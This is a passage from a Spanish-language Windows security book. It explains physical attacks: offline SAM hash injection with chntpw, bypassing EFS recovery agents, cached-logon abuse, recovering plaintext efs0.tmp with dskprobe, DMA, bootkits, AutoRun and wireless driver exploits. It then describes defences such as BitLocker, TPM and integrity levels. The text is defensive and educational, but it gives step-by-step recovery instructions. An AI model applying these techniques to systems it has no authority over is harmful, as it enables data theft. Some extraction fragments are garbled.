das las cuentas del sistema pueden inyectar hashes en el SAM mientras se encuentran fuera de
línea utilizando un disco flexible con Linux y chntpw, de Petter Nordahl-Hagen. Sí, escuchó
Precaución
El uso de estas técnicas puede dar como resultado un SAM corrompido o algo peor. Pruébelas sólo
en instalaciones expandibles de la familia NT, porque se pueden volver imposibles de arrancar.
Sobre todo, no seleccione la opción Disable SYSKEY de chntpw en Windows 2000 y posterior. Se
ha reportado que tiene efectos extremadamente nocivos, y a menudo se llega a necesitar una
reinstalación manual.
datos (DRF, Data Recovery Field). Por tanto, si el Administrador local es el agente de recupera-
ción definido (que es la opción predeterminada), cualquiera que alcance a ser Administrador
(RID 500) en este sistema puede descifrar el DRF con su clave privada, revelando la FEK, que
luego puede descifrar cualquier archivo local protegido con EFS.
Derrota de la delegación del agente de recuperación Pero espere, ¿qué pasa si el agente de recu-
peración es delegado a otras partes diferentes del Administrador? Grace y Bartlett derrotaron
esta contramedida al planear un servicio que se ejecute al principio y que restablezca la contra-
seña para cualquier cuenta definida como un agente de recuperación (lo que es muy difícil de
manejar, porque en este punto, ya se posee de todos modos el sistema).
Por supuesto, no es necesario que un atacante se concentre exclusivamente en el agente de
recuperación; sólo sucede que es más fácil acceder a todos los archivos cifrados con EFS en un
disco. Otra manera de rodear un agente de recuperación delegado consiste en simplemente en-
mascararse como el usuario que cifró el archivo. Con chntpw (como se analizó antes), cualquier
contraseña de cuenta de usuario puede restablecerse mediante un ataque fuera de línea. Luego,
un atacante podría iniciar sesión como el usuario y descifrar el DDF de manera transparente con
la clave privada del usuario, desbloqueando la FEK y descifrando el archivo. No es necesaria la
clave privada del agente de recuperación de datos.
sugerencia
Puede usar la herramienta del kit de recursos efsinfo para determinar a cuál cuenta pertenece un
archivo cifrado con la siguiente sintaxis: efsinfo/r/u [nombrearchivo].
Lectura de datos cifrados con EFS con credenciales de cuenta de usuario Es importante observar aquí
que atacar al agente de recuperación predeterminado (la cuenta del Administrador local para
máquinas no unidas a dominio) sólo es el método más fácil para atacar a EFS. Atacar las cuentas
de usuario siempre permite descifrar cualquier archivo cifrado por esa cuenta de usuario median-
te EFS. Recuerde que la FEK cifrada con la clave privada del usuario está almacenada en la DDF
asociada con cada archivo cifrado con EFS. El acto de iniciar sesión en ese usuario permitirá el
descifrado transparente de todos los archivos previamente cifrados. La única protección real
contra los ataques de cuenta de usuario contra EFS es SYSKEY modo 2 o 3 (que se analiza ense-
guida). Aunque SYSKEY 2/3 puede deshabilitarse utilizando chntpw, no es posible descifrar los
archivos cifrados con EFS, porque las claves de EFS están almacenados en la caché de secretos de
la autoridad de seguridad local (LSA, Local Security Authority), que requiere que SYSKEY se
desbloquee. La SYSKEY original no está disponible si se deshabilita usando chntpw.
Los elementos que se han cifrado antes de la eliminación del agente de recuperación perma-
necen cifrados, pero, por supuesto, sólo puede abrirlos el usuario que los cifró, a menos que pue-
da recuperarse el agente de recuperación de la copia de seguridad.
sugerencia
Si usa SYSKEY modo 3, no almacene el disco flexible cerca del sistema protegido; de otra manera,
es muy probable que derroten su protección.
Para dejar en claro este punto, consideremos la caché de inicio de sesión de la familia NT.
Tiene la función de hacer, como mencionamos en el capítulo 2, que todas las credenciales de do-
minio de caché de los sistemas de la familia NT de la máquina local permitan la autentificación,
aunque no se pueda alcanzar el controlador de dominio. ¿Alguna vez se ha preguntado cómo
podrían iniciar sesión en el dominio desde su laptop cuando ni siquiera está conectado a la red?
Eso se debe a que, como opción predeterminada, los últimos 10 conjuntos de credenciales de au-
tentificación de dominio están almacenadas en la máquina (en esencia, ¡se está autenticando con
su propio par nombre de usuario/contraseña incluido en caché!)
Esta característica se describe en el artículo de la base de datos de conocimientos de Micro-
soft 172931, que también describe la clave de Registro para configurar este parámetro. Con Win-
dows 2000, este valor está expuesto mediante la opción Inicio de sesión interactivo: número de
inicios de sesión previos en la caché (en caso de que el controlador de dominio no esté disponi-
ble). Este parámetro es particularmente importante para EFS, porque si un atacante con acceso
físico a una máquina pudiera obtener la caché de inicio de sesión, podría autenticarse como
usuario y ver los archivos cifrados con EFS del usuario. Todd Sabin, del equipo de investigación
Razor de Bindview, presentó este ataque en la conferencia Black Hat de 2001, y también publicó
una breve descripción de este método en la lista de correos Bugtraq, a principios de 2003. Todd
demostró el uso de una herramienta que denominaba hashpipe para volcar la caché de inicio de
sesión de un sistema de la familia NT, revelando las contraseñas con hash de los inicios de sesión
en caché. (Tome nota de que hashpipe no se ha publicado). Aunque las contraseñas aún tendrían
que descubrirse (consulte el capítulo 7), este método expone un posible agujero en la seguridad
de EFS usado en el contexto de un dominio. ¿Solución? Establezca la caché de inicio de sesión
del dominio en 0, como se muestra en la figura 11-1.
Precaución Al establecer la caché de inicio de sesión del dominio en cero se evitará que los usuarios del dominio
inicien sesión en un sistema, a menos que se pueda alcanzar al controlador de dominio.
Figura 11-1 El valor de caché de inicios de sesión previos en la directiva de seguridad local
de Windows XP
El uso de mecanismos de autentificación alternos (como solicitar una tarjeta inteligente para inicio
sugerencia
de sesión) es otra buena manera de evitar ataques contra la caché de inicio de sesión.
Cifrado de unidad Bitlocker (BDE, Bitlocker Drive Encryption) Con Windows Vista, Microsoft intro-
dujo Cifrado de unidad Bitlocker (BDE). Analizaremos BDE con más detalle en el capítulo 12.
Aunque BDE se diseñó principalmente para proporcionar mayor aseguramiento de la integridad
del sistema operativo, un resultado importante de su mecanismo de protección es desviar los
ataques fuera de línea que hemos descrito en este capítulo. En lugar de asociar las claves de ci-
frado de datos con cuentas de usuario individuales, como lo hace EFS, BDE cifra volúmenes en-
teros y almacena la clave de manera que es mucho más difícil comprometerlos (por lo menos, al
momento de publicar esto, no se había publicado ningún mecanismo efectivo). Con BDE, un ata-
cante que obtiene acceso irrestricto al sistema (digamos, al robar una laptop) no puede descifrar
los datos almacenados en el volumen cifrado porque Windows no se carga si se ha modificado,
y el inicio en un sistema operativo alterno no proporciona acceso a la clave de descifrado porque
está almacenada de manera segura. (Consulte el capítulo 12 para conocer más información sobre
las diversas opciones que BDE puede usar para proteger la clave de cifrado del volumen).
ATAQUES EN LÍNEA
Ahora que hemos cubierto los ataques físicos fuera de línea que suelen requerir el inicio en un
sistema operativo alterno, cambiemos velocidades y analicemos los ataques físicos que se imple-
mentan mientras el sistema está en línea.
Este ataque difiere de los otros analizados antes en que no requiere el inicio en un sistema ope-
rativo alterno. Puede montarse mediante la interfaz de usuario estándar de Windows, dado el ac-
ceso privilegiado apropiado a un sistema y que los datos en cuestión no han sido sobrescritos por
operaciones de archivo normales. Puede implementarse remotamente suponiendo que el control
remoto interactivo es posible. Por supuesto, dado el acceso de Administrador a Windows, el ata-
cante puede simplemente usar las técnicas descritas antes para acceder a los archivos protegidos con
EFS. Sin embargo, el ataque descrito aquí proporciona mecanismos menos invasivos para acceder a
los datos que iniciar en un sistema operativo alterno y, por tanto, vale la pena explorarlo.
El 19 de enero de 2001, Rickard Berglind publicó una interesante observación a la popular
lista de correos de seguridad Bugtraq. Resulta que cuando se selecciona un archivo para cifrado
mediante EFS, el archivo en realidad no se cifra directamente. En cambio, una copia de seguri-
dad del archivo se mueve a un directorio temporal al que se le denomina efs0.tmp. Luego, los da-
tos de ese archivo se cifran y se usan para reemplazar el archivo original. El archivo de copia de
seguridad es eliminado después de que se termina el cifrado.
Sin embargo, después de que el archivo original se reemplaza con la copia cifrada y se elimi-
na el archivo temporal, los bloques físicos del sistema de archivos donde residían el archivo tem-
poral nunca se limpian. Estos bloques contienen los datos originales, sin cifrar. En otras palabras,
el archivo temporal es “eliminado” de la misma manera que cualquier otro archivo (se marca
como vacía una entrada en la tabla maestra de archivos y los clústeres donde el archivo estaba
almacenado se marcan como disponibles, pero el archivo físico y la información que contiene
permanecen en texto simple en la superficie física del disco). Cuando se agregan nuevos archi-
vos a la partición, sobrescriben gradualmente esta información, pero si el archivo cifrado era
largo, puede quedarse durante meses, dependiendo del uso del disco.
En una respuesta a la publicación de Rickard, Microsoft confirmó que este comportamiento
corresponde al diseño para archivos individuales que se cifran utilizando EFS y hacía referencia
a su archivo titulado “Sistema de cifrado de archivos para Windows 2000” (consulte “Referen-
cias y lecturas adicionales”, al final de este capítulo), que explica esto con toda claridad. También
hace algunas sugerencias para mejores prácticas a fin de evitar este problema, que analizaremos
un poco más tarde.
¿Cómo podría explotarse este comportamiento para leer datos cifrados con EFS? Estos datos
se leen con facilidad empleando un editor de disco de bajo nivel, como dskprobe.exe, de Support
Tools, en el CD-ROM de instalación de Windows 2000, que permite a usuarios con acceso de con-
sola al host local leer los datos del archivo cifrado. Analizaremos a continuación cómo usar ds-
kprobe para leer efs0.tmp.
En primer lugar, lance dskprobe y abra la unidad física apropiada para acceso de lectura al
seleccionar Drives | Physical Drive y hacer doble clic en la unidad física apropiada, en la ventana
de la esquina superior izquierda. Luego haga clic en el botón Set Active adyacente a esta unidad
después de que llene la parte Handle 0 de este cuadro de diálogo. Una vez que esté completo,
debe ver una ventana similar a la de la figura 11-2.
Figura 11-2 Apertura de la unidad física para acceso de “lectura” en dskprobe. Observe que Handle 0
está abierto y establecido como activo
Una vez que se ha realizado esto, debe localizarse el sector apropiado que contiene los datos
que desea identificar. La localización de archivos en un disco físico puede ser como encontrar
una aguja en un pajar, pero puede usar el comando Tools | Search Sectors de dskprobe como
ayuda para la búsqueda. En el ejemplo mostrado en la figura 11-3, buscamos la cadena efs0.tmp
del sector 0 al final del disco. Observe que también hemos seleccionado que se use búsqueda ex-
haustiva, ignorar mayúsculas y minúsculas y caracteres Unicode (por alguna razón, no funciona
el uso de ASCII).
Una vez que se ha completado la búsqueda, si EFS se ha usado para cifrar un archivo en el
disco que se está analizando y si el archivo efs0.tmp no ha sido sobrescrito por alguna operación,
aparecerá en la interfaz dskprobe con el contenido en texto simple. Una búsqueda de la cadena
efs0.tmp también puede revelar otros sectores en el disco que contienen la cadena. (Un archivo
llamado efs0.log también contiene referencias a la ruta completa a efs0.tmp). Una manera de ase-
gurarse de que ha obtenido el archivo efs0.tmp en lugar de uno que contiene esa cadena consiste
en buscar la cadena FILE* en la parte superior de la interfaz de dskprobe. Esto indica que el sector
contiene un archivo. Tanto efs0.log como efs0.tmp se crean en el mismo directorio que el archivo
cifrado, pero no son visibles mediante las interfaces estándar, sino sólo a través de herramientas
como dskprobe. En la figura 11-4 se muestra un ejemplo del archivo efs0.tmp que se ha descubier-
to en el sector 21249 abierto en dskprobe, lo que revela el contenido del archivo en texto simple
(una vez más, observe la cadena FILE* en la parte superior, que indica que es un archivo).
Precaución
Una atacante puede lanzar dskprobe desde la red mediante una shell remota o una sesión de
Terminal Server, ¡no sólo desde la consola física!
Aunque los ataques de editor de disco de bajo nivel no son tan sencillos como simplemente
eliminar el SAM o inyectar hashes, es otra preocupación importante para quienes implementan
EFS en entornos donde los datos cifrados pueden estar expuestos a esos ataques.
Figura 11-4 efs0.tmp se abre en dskprobe, revelando el contenido en texto simple del archivo
Se recomienda que siempre es mejor empezar por crear una carpeta cifrada vacía y crear los archivos
directamente en esa carpeta. Al hacerlo, se asegura de que los bits de texto simple de ese archivo nunca se
guarden en otro lugar del disco. También tiene un mejor desempeño porque EPS no necesita crear una
copia de seguridad y luego eliminar ésta.
Lo que hay que recordar es que en lugar de cifrar archivos individuales, cifre una carpeta
que contenga todos los datos protegidos con EFS, y luego cree archivos confidenciales sólo en
ese directorio.
Microsoft también lanzó una versión actualizada de la herramienta EFS de línea de coman-
dos, cipher.exe, para corregir este problema. La versión actualizada puede utilizarse para desha-
cerse de los datos eliminados del disco para que no se pueda recuperar con algún mecanismo. El
cipher.exe actualizado puede obtenerse del URL que aparece en “Referencias y lecturas adicio-
nales”, al final de este capítulo, y requiere Service Pack 1.
La herramienta cipher.exe actualizada borra los clústeres que se han dejado de asignar del
disco. Estos clústeres son partes de un sistema de archivos NTFS que alguna vez se usaron para
almacenar datos pero ya no se usan, porque el archivo que utilizaba los clústeres cambió o fue
eliminado. Por tanto, NTFS marcó estos clústeres como si estuvieran disponibles para asigna-
ción a un archivo diferente, si es necesario.
Para sobreescribir los datos que se han dejado de asignar empleando el nuevo cipher.exe,
haga lo siguiente:
Nota Para los lectores que son paranoicos, cipher en realidad realiza tres barridas: en el primer paso
escribe 0, en el segundo escribe 0×F y en el tercero escribe datos seudoaleatorios.
Una de las debilidades que suelen explotarse de manera más común en la arquitectura de
una PC es el acceso directo a memoria (DMA, Direct Memory Access). Los lectores interesados
en conocer más detalles de DMA deben consultar “Referencias y lecturas adicionales”, pero para
los fines de este capítulo, DMA se comprende mejor como un mecanismo diseñado para omitir
el sistema operativo (y todos sus controles de seguridad) y leer y escribir en la memoria princi-
pal. ¿Suena como una vulnerabilidad importante de seguridad? Bueno, llamémosla una “carac-
terística”.
Utilizando esta “característica”, Michael Becher, Maximillian Dornseif y Christian N. Klein
demostraron una explotación en la conferencia CanSec West 2005 que usaba DMA para leer ubi-
caciones arbitrarias de memoria de un sistema con una firewall habilitada. Demostraron un ata-
que basado en un iPod que ejecutaba Linux y que estaba conectado al equipo de una víctima
para ejecutar comandos arbitrarios, completamente fuera del control o la detección del sistema
operativo. David Maynor presagió éste y muchos futuros ataques basados en el controlador del
dispositivo (incluidos algunos de los ataques inalámbricos que analizaremos más adelante) e
incluso demostró un ataque de DMA vía un dispositivo USB en Toorcon 2005. David Hulton
analizó ataques que usaban DMA vía la CardBus (el estándar de PCMCIA) en ShmooCon en
2005. Evidentemente, los dispositivos maliciosos tienen un gran futuro.
Bootkits
Popularidad: 5
Simplicidad: 5
Impacto: 9
Clasificación de riesgo: 6
Otro popular mecanismo de ataque físico consiste en cargar código malicioso desde el sector
de arranque de medios de arranque (que pueden incluir discos duros, CD, unidades USB y has-
ta puntos de arranque de red). Una implementación de ese tipo de ataque lo presentaron Derek
Soeder y Ryan Permeh de eEye Digital Security (www.eeye.com) en la conferencia Black Hat
USA de 2005.
La implementación se llamó eEye BootRootKit para jugar con la noción de un rootkit inser-
tado mediante un medio de arranque. He aquí la descripción de eEye del BootRootKit:
eEye BootRootKit es… un sector de arranque de un medio extraíble que se posiciona a sí mismo para volver
a ejecutarse más adelante, mientras Windows se está cargando, y luego continuar sin problemas la secuencia
de arranque desde el disco duro 0. El concepto básico empleado consiste en enganchar INT 13h y “casi
parchar” el cargador del sistema operativo Windows mientras lo lee del disco, y luego utiliza este parche
para engancharse en NDIS.SYS después de que se ha cargado en la memoria y se ha validado. El propósito
de la función de gancho es simple: rastrear todos los marcos entrantes de Ethernet en busca de una firma en
una ubicación específica, y ejecutar código (con privilegios de kernel) desde cualquier marco coincidente.
Más recientemente, el término bootkit se ha popularizado para describir un rootkit que es ca-
paz de cargarse desde un registro maestro de arranque y persistir en la memoria durante toda la
transición al modo protegido y el inicio del sistema operativo. Tomando las cosas donde las dejó
eEye, Nitin Kumar y Vipin Kumar publicaron su trabajo en VBootkit (bootkit para Vista), que no
hace modificaciones a los archivos en disco, trabajando exclusivamente en memoria para man-
tenerse sin ser percibido. Kumar y Kumar aseguran haber pasado con éxito el Cifrado de unidad
Bitlocker (BDE, Bitlocker Drive Encryption) de Vista con esta técnica, aunque no hay resultados
disponibles al momento de escribir esto. Las conjeturas públicas de Microsoft (consulte el capí-
tulo 8) indican que BDE debe bloquear este ataque. Kumar y Kumar también están trabajando
en un TPMKit, que aseguran pasa por alto todas las protecciones impuestas por BDE, aunque
esté mejorado con un Módulo de plataforma confiable (TPM, Trusted Platform Module), un mó-
dulo de hardware que está diseñado para atestiguar la integridad de elementos clave del código
del proceso de arranque. La carga del ataque demostrada comúnmente eleva los indicadores de
comando a privilegios de SYSTEM en ciertos intervalos.
Un escenario posible para un ataque basado en bootkit consiste en usar la imagen ISO de CD-
ROM (como la incluida en el paquete de prueba de concepto de eEye), caminar a una máquina,
insertar el CD-ROM con el bootkit, oprimir el botón de encendido para restablecer el sistema y lue-
go alejarse. Suponiendo que el BIOS esté configurado para arrancar desde el CD-ROM, entonces
se usa el bootkit en el equipo una vez que Windows regresa. Esto reduce de manera importante la
cantidad de interacción que un atacante necesitaría para comprometer con éxito un sistema, si está
físicamente delante de él, haciendo que el ataque sea más difícil de detectar en forma visual.
Nota Consulte el capítulo 8 para conocer más detalles sobre los ataques generales con rootkits y sus
contramedidas.
Ejecución automática
Popularidad: 9
Simplicidad: 6
Impacto: 6
Clasificación de riesgo: 7
Un poco menos sofisticados que los bootkits son los denominados ataques de ejecución au-
tomática, basados en la característica AutoRun de Windows, que ejecuta automáticamente el
programa especificado por el archivo autorun.inf cada vez que se inserta un CD-ROM, un DVD
o una unidad USB. AutoRun puede especificar cualquier programa arbitrario, de modo que tie-
ne implicaciones obvias de seguridad.
Una vez más, puede contemplar escenarios en que, sin desearlo, los usuarios insertan CD-
ROM, DVD o dispositivos USB de apariencia inocua, sólo para instalar en silencio rootkits mien-
tras se despliega la pantalla de bienvenida. Una de las distribuciones más visibles de software
encubierto, la debacle del rootkit de Sony, en realidad se lograba utilizando la funcionalidad de
ejecución automática (consulte “Referencias y lecturas adicionales”). Por fortuna, es fácil desac-
tivar la característica AutoRun, ya sea oprimiendo la tecla mayús cuando se inserta el medio o
cambiando el valor de Registro HKLM\System\CurrentControlSet\Services\CDRom\Auto-
run a 0 y reiniciar el sistema.
Empleando tecnología inalámbrica de red, los atacantes tal vez ni siquiera tengan que tocar
físicamente un sistema para comprometerlo (aunque obviamente se requiere cierta proximidad
física, que es la razón por la que tratamos el tema en este capítulo). En la conferencia de seguri-
dad Defcon 14 en 2006, Johnny Cache develó ataques contra controlador de conexión de red ina-
lámbrica 802.11 que le permitían comprometer sistemas en el nivel de kernel durante el acto de
descubrimiento de puntos de acceso inalámbricos locales.
En un artículo posterior donde explicaban su técnica (consulte “Referencias y lecturas adi-
cionales”), Cache, H. D. Moore y skape ilustraron ataques reales empleando esta técnica. La
esencia de la técnica consiste en enviar a la víctima marcos simples de 802.11 que se procesan
mientras el destino no se ha autentificado o está asociado con un punto de acceso inalámbrico.
Más específicamente, los autores crearon solicitudes falsas y marcos de respuesta normalmente
empleados para descubrir y anunciarse ante redes inalámbricas cercanas. Empleando ruido, el
marco conceptual Metasploit y apoyándose en técnicas publicadas de desarrollo de explotacio-
nes de kernel de Windows, los autores descubrieron vulnerabilidades en los controladores del
adaptador inalámbrico comercial 802.11 de BroadCom (SSID de tamaño excesivo en solicitudes
y respuestas dirigidas causaron sobreflujos de la pila), D-Link (el elemento de información Sup-
ported Rates de tamaño excesivo desencadenó sobreflujo de la pila cuando se usó para enviar
solicitudes a clientes vulnerables dentro del rango) y NetGear (los elementos de información
SSID, Supported Rates y Channel de tamaño excesivo desencadenaron sobreflujo de la
pila) todo lo cual dio como resultado un compromiso en el nivel del kernel del sistema de desti-
no, simplemente después de recibir marcos de 802.11 creados de manera especial.
Un escenario para implementar ese tipo de ataques es vía los denominados gemelos malignos
(puntos de acceso falsos configurados para parecer legítimos puntos de acceso activo, como los
hotspots de T-Mobile en las cafeterías). En la figura 11-5 se muestra el explorador Windows Wire-
less Network Connection explorando puntos de acceso posiblemente maliciosos. Internet Securi-
ty System analizó este concepto desde 2002 en un artículo sobre la clonación de estaciones de base
inalámbricas, y ha obtenido más atención a medida que ha proliferado la tecnología inalámbrica.
Un ataque relacionado conocido como cliente promiscuo incluye un punto de acceso falso y una
estación ad hoc que proporciona una señal irresistiblemente fuerte y se vuelve la conexión de red
preferida. La próxima vez que esté sorbiendo café en su cafetería local y decida abrir su laptop
para ver los posibles puntos activos inalámbricos disponibles, ¡piénselo dos veces!
Aunque no hemos visto investigaciones, imaginamos que ataques similares contra Bluetooth
también son factibles. Hay comunidades robustas que ya se dedican a enviar mensajes no solici-
tados vía Bluetooth a destinatarios desprevenidos cercanos (a esta actividad se le ha denominado
“Bluejacking”), además del más peligroso “Bluesnarfing”, que intenta acceso no autorizado al
dispositivo de la víctima. Recomendamos deshabilitar la configuración de capacidad de “descu-
brir” en sus dispositivos Bluetooth para mitigar estos tipos de ataques.
Registradores de teclado
Popularidad: 7
Simplicidad: 4
Impacto: 9
Clasificación de riesgo: 7
Al final, pero no por ello es menos importante, analizamos los registradores de teclado de
hardware para cerrar esta sección sobre ataques físicos. Estos dispositivos pueden empalmarse en-
tre el teclado y el equipo y registrar cada teclazo sin que lo note el sistema operativo. Aunque tal
vez sea el menos atractivo de los ataques que hemos analizado hasta ahora, los tomamos en
cuenta porque obviamente son muy efectivos para comprometer información confidencial de
una manera que suele ser difícil de detectar sin inspección física regular. Y con los modernos ca-
bles de teclado USB que no requieren interacción con el sistema operativo para desconectar o
volver a conectar el teclado, este tipo de ataque es fácil de realizar y difícil de detectar.
sugerencia No se confunda, los estándares de cifrado inalámbrico, la capa de conexiones seguras (SSL, Secure
Socket Layer), los mecanismos de redes y conexiones privadas virtuales (VPN, Virtual Private
Network/Networking), o una combinación de ellas, no lo protegen contra estos tipos de ataques. El
compromiso ocurre en la capa de vínculo, antes de que cualquier técnica estándar de cifrado de
comunicaciones se vuelva relevante.
RESUMEN
Por ahora, debe comprender que cualquier intruso que obtenga acceso físico irrestricto a un sis-
tema Windows es capaz de acceder casi a cualquier dato que desee en ese sistema. Como miem-
bro del equipo de computación confiable de Microsoft, Scott Culp escribe en sus “Diez leyes
inmutables de la seguridad” (consulte “Referencias y lecturas adicionales” para tener un víncu-
lo): “Ley #3: si un chico malo tiene acceso irrestricto a su equipo, éste ya dejó de ser su equipo”.
Debido a la tremenda ventaja que disfruta un atacante con acceso físico, las mejores contra-
medidas deben incluir siempre los mecanismos clásicos: mantener los sistemas físicamente se-
guros (empleando bloqueos, monitoreo, alarmas, o una combinación apropiada de éstos para el
lugar, el gabinete del equipo o el dispositivo móvil), eliminar o deshabilitar las unidades de me-
dios extraíbles y establecer una contraseña de BIOS que deba ingresarse antes de que se arran-
que el sistema. Lo óptimo es que establezca una contraseña para acceso a disco duro utilizando
especificaciones ATA-3 o mayor. El monitoreo efectivo y los procedimientos de alerta también
son importantes, de modo que si alguien más se las ingenia para tener acceso a un equipo, por
lo menos se graben sus acciones (por ejemplo, mediante video de vigilancia) y se notifique a las
autoridades apropiadas. Recomendamos el uso de todos estos mecanismos donde el riesgo a la
seguridad física sea alto.
Puede hacer cosas para mitigar el riesgo de ataques físicos usando las características de Win-
dows, incluidos Cifrado de unidad Bitlocker (BDE), implementación de EFS en el contexto de un
dominio y uso de SYSKEY modo 2 o 3. Preste atención a la caché de inicio de sesión de dominio,
para que estas credenciales no sean usadas para atacar las credenciales guardadas en la caché
local del usuario.
Por último, examinamos brevemente algunos nuevos ataques contra controladores de dispo-
sitivos de hardware, los más alarmantes de los cuales fueron los ataques a adaptadores de redes
inalámbricas que podrían resultar en el compromiso del sistema con sólo recibir comunicacio-
nes invisibles desde un punto de acceso inalámbrico falso. Es poco lo que puede hacerse para
defenderse de estos ataques hoy en día, aparte de apagar los radios inalámbricos cuando se esté
en entornos no confiables.
Y para aquellos que piensan que estamos demasiado paranoicos con respecto al riesgo de
ataque físico, recuerde este capítulo la siguiente vez que usted transporte su laptop con 80 giga-
bytes de información a través de ¡un aeropuerto atestado!.
Herramientas
BartPE www.nu2.nu/pebuilder/
Bootdisk.com www.bootdisk.com/
Referencias Ubicación
Referencias generales
Resumen del artículo Tema de búsqueda= “ISS SAVANT Advisory 00/26” en
original de Grace y Ntbugtraq.com
Bartlett por ISS
Información de dominio http://support.microsoft.com/?kbid=172931
almacenado en caché de
inicio de sesión
Referencias Ubicación
Bluejacking http://en.wikipedia.org/wiki/Bluejacking
Bluesanrfing http://en.wikipedia.org/wiki/Bluesnarfing
capítulo 12
S T I C A S
C T E R Í
CA R A E N TA S
R R A M I
Y H E I D A D
E G U R
DE S D O W S
D E W I N
367
E
n todo este libro, hemos destacado de manera periódica el concepto de hacer las cosas
más difíciles para los atacantes. Este concepto está basado en la teoría de que es imposible
lograr un entorno 100% seguro. Lo mejor por lo que puede esforzarse es hacer el trabajo
del atacante lo más difícil posible. Para darle crédito, Microsoft sigue mejorando la facilidad de
asegurar el sistema operativo. En realidad, muchas de las características más efectivas y extensas
que se encuentran en Windows XP SP2, Server 2003 SP1, Vista y Server 2008 operan tras bamba-
linas. Las actualizaciones han mejorado la manera en que se asigna y libera la memoria, los com-
piladores están generando aplicaciones que son más resistentes a las fallas de implementación
(como sobreflujos de búfer), los manejadores de excepciones se han vuelto más inteligentes, y la
lista sigue y sigue. Muchas de estas contramedidas no requieren configuración ni comprensión
para cosechar los beneficios.
Este capítulo está dedicado al análisis de las siguientes características y herramientas que se
han integrado en el sistema operativo en el curso de su evolución a través de Windows XP SP2,
Server 2003 SP1, Vista y Server 2008.
• BitLocker
• Control de integridad de Windows
• Control de cuentas de usuario
• Refactorización/endurecimiento del servicio
• Protección de recursos de Windows (WRP, Windows Resource Protection)
• SafeSEH
• GS
• Cambios de pila
• Aleatorización de diseño del espacio de direcciones
De ninguna manera se trata de una lista completa de toda la funcionalidad relacionada con
la seguridad implementada en Windows; en cambio, resalta lo que creemos que son las caracte-
rísticas de seguridad más útiles “bajo la cubierta” del sistema operativo que atiende la vulnera-
bilidad analizada en este libro. Hemos decidido concentrarnos en estas características menos
visibles porque ya analizamos muchas de las más visibles a lo largo del libro, incluidos la Fi-
rewall de Windows, la directiva de grupo, IPSec y el sistema de cifrado de archivos (EFS, En-
crypting File System). Además, aunque no vamos a cubrir de manera exhaustiva cada una de
estas características, nos concentraremos específicamente en la manera en que pueden usarse
para contrarrestar los ataques analizados en este libro.
Configuraciones de BitLocker
Como se mencionó, BitLocker puede configurarse de varias maneras. En esta sección analiza-
mos cada uno, junto con sus fortalezas, debilidades y prerrequisitos. BitLocker puede configu-
rarse para operar en los siguientes modos:
sugerencia
Microsoft proporciona un excelente procedimiento paso a paso para configurar su sistema en cada
uno de estos escenarios en http://technet.microsoft.com/en-us/windowsvista/aa905092.aspx.
De éstas, la configuración más segura es un sistema que tiene un TPM y utiliza autentifica-
ción de dos factores, y he aquí por qué: el TPM proporciona a BitLocker la capacidad de validar
cada componente del proceso de arranque. Esto asegura que la plataforma esté en un estado se-
guro conocido antes de descifrar el volumen. (Tocaremos más sobre esto un poco después en la
sección “BitLocker con TPM”).
Con casi todos los sistemas de autentificación, exceptuando las fallas de implementación, el
grado de dificultad para autentificarse como otro directivo aumenta con el número de “factores”
(cada factor introduce una prueba adicional que debe pasar la entidad que trata de autentificar-
se). Los factores de autentificación comunes incluyen lo siguiente:
Actualmente, BitLocker soporta dos de éstos, algo que tiene (un USB o TPM), y algo que sabe
(un PIN). En la siguiente sección, echaremos un vistazo a fondo a la solución deseada (BitLocker
equipado con un TPM y una forma adicional de autentificación, como una ficha PIN o USB).
la confidencialidad de esta clave, y finalmente el volumen, está asegurada. Sin embargo, hay un
par de advertencias.
Aunque la protección esté fuera de las manos de TPM, aún puede lograrse la revisión de integridad,
Nota
sobre todo donde los rootkits estilo BootRoot modifican el registro de arranque. El TPM permitirá la
detección de alteraciones del sector de arranque una vez que el sistema operativo esté cargado y
ejecutándose.
Además de almacenar la clave de cifrado, BitLocker utiliza el TPM para recolectar y almace-
nar mediciones de componentes que participan en el sector de arranque. Estas características
actúan como una huella digital del sistema que se adquiere cuando se sabe que el sistema está
en un estado seguro. Esta huella permanecerá constante en la ausencia de cualquier modifica-
ción deliberada. Algunas instancias legítimas, como actualización del BIOS, pueden causar que
su huella cambie y BitLocker tiene procedimientos para esto. Sin embargo, si ocurre una modi-
ficación no planeada a cualquiera de estas características, se consideran no autorizadas. Durante
el subsecuente proceso de arranque, se requiere que estas características se readquieran y com-
paren con el conjunto original. Si las huellas no coinciden, el sistema se considera no confiable
y se detiene el proceso de arranque. Si las huellas coinciden, TPM descifra las claves usadas
para cifrar el volumen, y se pasa la ejecución al sistema operativo.
Debido a que BitLocker depende de TPM, dedicaremos más tiempo a analizar sus puntos
más finos, incluidos los mecanismos que soportan el proceso de validación de arranque y las ac-
ciones tomadas durante este proceso.
Con esto presente, en una instalación predeterminada de Vista, IE tiene asignado un nivel de
integridad Bajo, que evita que los procesos de IE modifiquen un objeto con un nivel de integri-
dad más elevado. Podemos observar esto al ejecutar Process Explorer, como se muestra en la
figura 12-2.
También es importante tomar nota de que los niveles de integridad están almacenados en las
listas de control de acceso del sistema (SACL, System Access Control List, usadas para generar
registros de auditoría) y superan los otorgados dentro de las listas de control de acceso discrecio-
nal (DACL, Discretionary Access Control Lists), como permisos de archivo. Por ejemplo, si un
Administrador está ejecutando un proceso de baja integridad que trata de escribir en lugares di-
vertidos como C:\ o C:\Users, fallarán los intentos, sin importar las DACL otorgadas por el con-
trol completo para los administradores. Esto se debe a que el nivel de integridad predeterminado
de todos los objetos de Vista está establecido en Medio. Sin embargo, como opción predetermi-
nada, casi ninguna SACL evita que objetos de integridad menor lean o ejecuten objetos de inte-
gridad más elevada; esto se deja a la DACL. Sin embargo, hay soporte disponible para estas
capacidades. De acuerdo con MSDN, la SACL de un objeto puede contener lo siguiente:
• SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
• SYSTEM_MANDATORY_LABEL_NO_READ_UP
• SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP
Con esto, podemos hacer un poco más por evitar que procesos de menor integridad lean o eje-
cuten datos que existen a un nivel más elevado de integridad.
Figura 12-2 Process Explorer muestra IE que se ejecuta con integridad Baja
Puede ver que el nivel de integridad para TempBaja ahora está establecido en Nivel obligatorio
bajo. Junto con esta nueva capacidad, la administración de niveles de integridad, viene un nue-
vo derecho de usuario: Modificar la etiqueta de un objeto, que es configurable en la directiva de
seguridad local, como se muestra en la figura 12-3.
Este derecho es obligatorio para modificar el nivel de integridad de un objeto y, como opción
predeterminada, no se otorga a ningún usuario o grupo. ¿Entonces cómo podemos modificar el
